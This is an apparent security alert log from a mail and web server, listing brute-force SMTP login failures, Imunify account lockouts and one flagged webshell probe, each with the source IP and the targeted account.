2026-02-01 06:01:05 dovecot_login authenticator failed for H=(DN0JZc) [158.94.208.215]:57207: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 06:01:07 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:42244: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:02:20 dovecot_login authenticator failed for H=(HpyHfWwFE) [141.98.11.11]:55516: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:02:38 dovecot_login authenticator failed for H=(BeQCDq) [137.220.199.220]:61086: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:02:05 dovecot_login authenticator failed for H=(UoaeJ15G) [137.220.199.220]:58812: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:02:06 dovecot_login authenticator failed for H=(Wrusi1) [178.16.52.139]:53350: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:02:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:02:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:02:14 dovecot_login authenticator failed for H=(MRzLk2X) [178.16.54.22]:53316: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:02:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 06:02:41 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:50144: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:02:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53083: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 06:02:25 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:38804: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:02:11 dovecot_login authenticator failed for H=(r08EqbL42) [158.94.208.175]:50950: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:02:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:02:17 dovecot_login authenticator failed for H=(wYtfg8n09) [158.94.208.215]:64902: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:02:24 dovecot_login authenticator failed for H=(mtCnfU) [185.36.81.54]:61799: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-01 06:02:45 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:50848: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:02:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 06:03:19 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:35080: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 06:03:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 06:03:36 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:47833: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:03:05 dovecot_login authenticator failed for H=(mbwaSFki) [158.94.208.215]:58021: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:03:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:03:02 dovecot_login authenticator failed for H=(KwIFdcSzFi) [137.220.199.220]:62344: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:03:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:03:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49949: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:03:06 dovecot_login authenticator failed for H=(BFLKs2) [178.16.52.139]:65415: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:03:19 dovecot_login authenticator failed for H=(ohA1i6) [137.220.199.220]:63160: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:03:20 dovecot_login authenticator failed for H=(6f5W00muSL) [158.94.208.175]:60990: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:03:22 dovecot_login authenticator failed for H=(O3DxPip) [185.36.81.54]:51371: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:03:23 dovecot_login authenticator failed for H=(hLYY9oWG) [178.16.54.22]:58604: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:03:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:03:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:03:24 dovecot_login authenticator failed for H=(YFTTSAw) [141.98.11.11]:63993: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:03:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:04:13 dovecot_login authenticator failed for H=(k9k9rm2O4) [185.36.81.54]:55118: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:04:09 dovecot_login authenticator failed for H=(EhWFxny) [178.16.54.22]:49413: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:04:09 dovecot_login authenticator failed for H=(ZP8hR7WOah) [178.16.52.139]:61655: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 06:04:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:04:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:04:08 dovecot_login authenticator failed for H=(TJWq4HL) [141.98.11.11]:55688: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:04:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64129: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:04:17 dovecot_login authenticator failed for H=(YGPREpm62P) [158.94.208.215]:59648: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:04:06 dovecot_login authenticator failed for H=(72bGY90) [158.94.208.175]:53006: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-02-01 06:04:57 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:28256: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:05:15 dovecot_login authenticator failed for H=(kPzQ9pZ) [141.98.11.11]:62645: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:05:18 dovecot_login authenticator failed for H=(VZBed4) [178.16.54.22]:60852: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:05:17 dovecot_login authenticator failed for H=(xGTnQl1U) [178.16.52.139]:52728: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-02-01 06:05:01 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:38952: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:05:05 dovecot_login authenticator failed for H=(Uja2Ziq) [158.94.208.215]:58053: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.223.146
country_id: 1562822
description:
2026-02-01 06:05:13 dovecot_login authenticator failed for H=([125.212.223.146]) [125.212.223.146]:64488: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.19
country_id: 337996
description:
2026-02-01 06:05:13 dovecot_login authenticator failed for H=([196.190.180.18]) [196.190.180.19]:12056: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:05:10 dovecot_login authenticator failed for H=(pFaU3vs) [185.36.81.54]:55715: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:05:13 dovecot_login authenticator failed for H=(aJgYVLDuVz) [178.16.52.139]:63191: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:05:15 dovecot_login authenticator failed for H=(PWUDONcJM) [158.94.208.175]:62650: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 06:05:06 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:38538: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 06:05:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.205.24
country_id: 1605651
description:
2026-02-01 06:05:32 dovecot_login authenticator failed for H=mx-ll-183.89.205-24.dynamic.3bb.co.th [183.89.205.24]:33088: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:06:04 dovecot_login authenticator failed for H=(CvzfiWtg) [178.16.54.22]:56610: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:06:17 dovecot_login authenticator failed for H=(oN013JiLbj) [158.94.208.215]:53427: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.156.2
country_id: 1269750
description:
2026-02-01 06:06:37 dovecot_login authenticator failed for H=([128.185.217.149]) [125.19.156.2]:41472: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:06:11 dovecot_login authenticator failed for H=(1U5x3jnO) [178.16.52.139]:64072: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:06:15 dovecot_login authenticator failed for H=(tuGpflvVgo) [185.36.81.54]:60634: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:06:01 dovecot_login authenticator failed for H=(INO5vJ) [158.94.208.175]:50464: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.184.218.49
country_id: 3469034
description:
2026-02-01 06:06:23 dovecot_login authenticator failed for H=(imparhoteis.static.gvt.net.br) [179.184.218.49]:54351: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:07:05 dovecot_login authenticator failed for H=(HXVMYr8RV) [158.94.208.215]:61679: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:07:15 dovecot_login authenticator failed for H=(yDCXEtb) [185.36.81.54]:59384: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:07:47 dovecot_login authenticator failed for H=(rpiSHmC) [178.16.52.139]:52013: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:07:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:07:12 dovecot_login authenticator failed for H=(N9auUlnt) [158.94.208.175]:57243: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:07:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:07:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:07:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.149
country_id: 2635167
description:
2026-02-01  6:07:43 205177 [Warning] Aborted connection 205177 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.149' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:07:04 dovecot_login authenticator failed for H=(aGS8jXZM9d) [178.16.52.139]:52840: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:07:13 dovecot_login authenticator failed for H=(GCc7CEn) [178.16.54.22]:58590: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:07:45 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:08:22 dovecot_login authenticator failed for H=(l39W73) [178.16.54.22]:53590: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:08:22 dovecot_login authenticator failed for H=(1dOgXso) [158.94.208.175]:54113: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:08:09 dovecot_login authenticator failed for H=(uMYU2714BN) [178.16.52.139]:57535: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:08:17 dovecot_login authenticator failed for H=(kqxRHP) [158.94.208.215]:57859: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:08:40 dovecot_login authenticator failed for H=(59grjes) [185.36.81.54]:49604: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:08:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:08:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:08:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:08:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:08:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.61.40.117
country_id: 3469034
description:
2026-02-01 06:08:50 dovecot_login authenticator failed for H=201-61-40-117.bbone.telesp.net.br ([186.200.154.89]) [201.61.40.117]:55167: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:09:30 dovecot_login authenticator failed for H=(NEnYWGjQ) [185.36.81.54]:50941: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:09:10 dovecot_login authenticator failed for H=(jrj1HO) [178.16.52.139]:64933: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:09:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:09:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:09:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:09:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:09:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:09:08 dovecot_login authenticator failed for H=(sKZ9Bw) [178.16.54.22]:61750: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:09:09 dovecot_login authenticator failed for H=(YWaYNpsNxy) [158.94.208.175]:56311: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:09:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49714: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 06:09:41 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:44250: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.40.121.4
country_id: 1643084
description:
2026-02-01 06:09:01 dovecot_login authenticator failed for H=(ip-4.121.40.jogjaringan.net.id) [103.40.121.4]:55857: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:09:05 dovecot_login authenticator failed for H=(7YqNczai) [158.94.208.215]:54509: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-02-01 06:10:20 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network [202.62.129.18]:55637: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:10:40 dovecot_login authenticator failed for H=(YSEhWAO) [158.94.208.175]:59809: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:10:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.65.160.234
country_id: 1814991
description:
2026-02-01 06:10:35 dovecot_login authenticator failed for H=([124.65.160.234]) [124.65.160.234]:46223: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:10:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 06:10:38 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:35568: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:10:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 06:10:54 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:41464: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:10:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22
